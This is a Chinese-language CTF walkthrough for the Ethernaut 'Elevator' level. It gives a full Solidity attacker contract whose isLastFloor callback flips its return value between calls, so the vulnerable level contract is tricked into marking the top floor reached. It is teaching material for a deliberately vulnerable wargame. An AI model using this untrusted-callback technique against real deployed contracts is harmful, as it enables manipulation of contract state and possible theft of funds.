本關的關卡合約以msg.sender作為Building合約,即是Building合約現在是可以隨便寫了。
那我們就很簡單地把isLastFloor函數寫成一個,第一次會回傳False,第二次會回傳True的函數就可以了。
首先打開Console (F12),輸入
> instance
下方會回傳當前關卡合約地址。
然後打開Remix IDE,新建檔案Elevator.sol貼上:
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint256 _floor) external;
}
contract Elevator {
address levelInstance;
bool side = true;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
function go() public {
IElevator(levelInstance).goTo(1);
}
}
在constructor填入關卡合約地址後發佈。
在Remix IDE中,呼叫go函數。最後按提交,本關完成。